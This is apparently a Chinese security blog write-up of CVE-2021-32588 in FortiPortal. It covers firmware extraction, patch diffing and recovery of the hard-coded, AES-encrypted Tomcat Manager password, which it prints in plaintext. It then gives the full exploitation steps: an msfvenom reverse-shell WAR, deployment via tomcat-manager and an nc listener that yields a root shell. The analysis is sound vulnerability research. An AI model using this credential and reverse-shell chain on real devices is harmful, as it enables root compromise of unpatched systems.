披露信息:https://www.fortiguard.com/psirt/FG-IR-21-077
漏洞编号:CVE-2021-32588
漏洞描述:A use of hard-coded credentials (CWE-798) vulnerability in FortiPortal may allow a remote and unauthenticated attacker to execute unauthorized commands as root by uploading and deploying malicious web application archive files using the default hard-coded Tomcat Manager username and password.
环境搭建
下载 6.0.4 和 6.0.5 两个版本,导入 6.0.4 镜像到 VMware,启动后发现控制台输出错误信息
1 | The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.. |
这里提示链接数据库服务器失败,查阅官网手册发现需要手动配置一台数据库服务器,具体步骤可参考[官网文档](Administration Guide | FortiPortal 6.0.5 | Fortinet Documentation Library)。
配置好数据库服务器后,需要对虚拟机的网络等进行配置。
1 | admin 空密码登录系统 |
配置好后重启虚拟机。
在数据库服务器登录 mysql,执行以下语句来查看是否配置成功
1 | select * from ftntpmcdb.fpc_version; |
结果中输出了版本信息即可。
此时可通过刚刚配置的 IP 来访问 web 服务。
固件获取
fortiportal 本身不提供 Linux shell,我们需要想办法拿到设备固件。首先找到导入的虚拟磁盘,对其进行解压。
1 | PS:如果是在 Windows 环境下,建议安装 7-zip 软件,安装后直接右键虚拟磁盘,选择使用 7-zip 打开即可看到内容。 |
解压可得到一个 rootfs.gz 文件,解包后获取到根文件系统,但是此时文件系统中缺失了大部分数据,在根目录下能找到三个压缩包: bin.tar.xz、lib.tar.xz、usr.tar.xz
直接使用 tar 等工具不能解压这三个文件,猜测设备在初始化过程中会进一步对这些文件进行处理。
考虑到 Linux 系统的启动流程,内核初始化完成之后会进入 init_post 函数,在这里将控制流移交给用户空间进程,包括 /sbin/init、/etc/init、/bin/init、/bin/sh。
此时可以参考文章,通过虚拟机调试的方法尝试获取 shell,但这里我们有更简单的方法。
在解压出来的根文件系统中寻找上述的四个初始化程序,在 /bin 目录下发现只有一个 init 文件。
IDA 打开分析,其主函数代码如下
1 | int sub_804A4A2() |
这段代码看起来是对根目录下的三个压缩包实现解压,由于该程序为 x86 架构,可以直接在虚拟机中运行,执行以下命令实现对根目录的完全解压
1 | sudo chroot . ./bin/init |
执行后等待程序运行完毕,即可看到释放出了完整的 /bin、/lib 和 /usr 目录。
在 /usr/local/tomcat 目录发现关键文件。
漏洞分析
解包 6.0.4 和 6.0.5 两个版本的固件,进行补丁对比,发现新版中移除了 webapps 下的 manager 目录,经调查,此目录就是漏洞披露信息中提到的 Tomcat Manager 组件。
Tomcat Manager 会去 conf/tomcat-users.xml 文件中读取用户信息,查看此文件发现以下记录
1 | <role rolename="manager-script"/> |
说明在默认配置下存在一个名为 fpcadmin 的 manager-script 用户,此用户无法访问 GUI 界面,但是可以通过直接调用接口实现诸多功能。
首先要解决密码的问题,Tomcat Manager 官方文档中提到为了安全性,tomcat-users.xml 中的用户密码允许进行加密,防止密码泄露。通过全局搜索,在名为 FpcReloadTomcatApp.class 类中找到对 fpcadmin 用户操作的代码。
1 | public boolean reloadTomcatApp() |
Tomcat 重新加载时,会使用 curl 命令调用 Tomcat Manager 的 reload 接口,其中使用了 fpcadmin 的密码。
先使用 decryptString 函数对其解密,解密函数关键代码
1 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); |
decryptString 使用 AES 算法对密码进行解密,key 被定义为成员变量
1 | public static final byte[] key = { Byte.MAX_VALUE, 34, -24, -72, -95, 31, -10, -7, 74, 78, -74, -26, -63, -48, -7, -10 }; |
所以我们可以编写代码对其中的密码进行解密
1 | import javax.crypto.BadPaddingException; |
最终得到明文密码:fortinet@FPC#12345
用账号 fpcadmin:fortinet@FPC#12345 即可登录 Tomcat Manager,并且访问后台接口。
获取 shell
得到后台权限后可以进一步获取 root shell,我们使用工具 tomcatmanager,先修改 tomcat_manager.py 第 535 行 requests.put 代码,添加参数 verify=False 防止 python SSL 证书报错。
首先用 msf 生成 war 木马
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.160 LPORT=13337 -f war > shell.war |
tomcat-manager 链接到目标,密码:fortinet@FPC#12345
1 | tomcat-manager> connect https://192.168.0.200/manager fpcadmin --noverify |
利用 deploy 接口部署木马
1 | tomcat-manager> deploy local ./shell.war /rce |
部署后可通过 list 命令查看是否部署成功
1 | tomcat-manager> list |
我们看到列表中出现了刚刚部署的木马,对应路由为 /rce
在攻击端监听端口 13337,然后访问 /rce 接口,即可获取到 root shell
1 | ➜ Desktop nc -lnvp 13337 |
- 本文作者: CataLpa
- 本文链接: https://wzt.ac.cn/2021/09/02/CVE-2021-32588/
-
版权声明:
本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。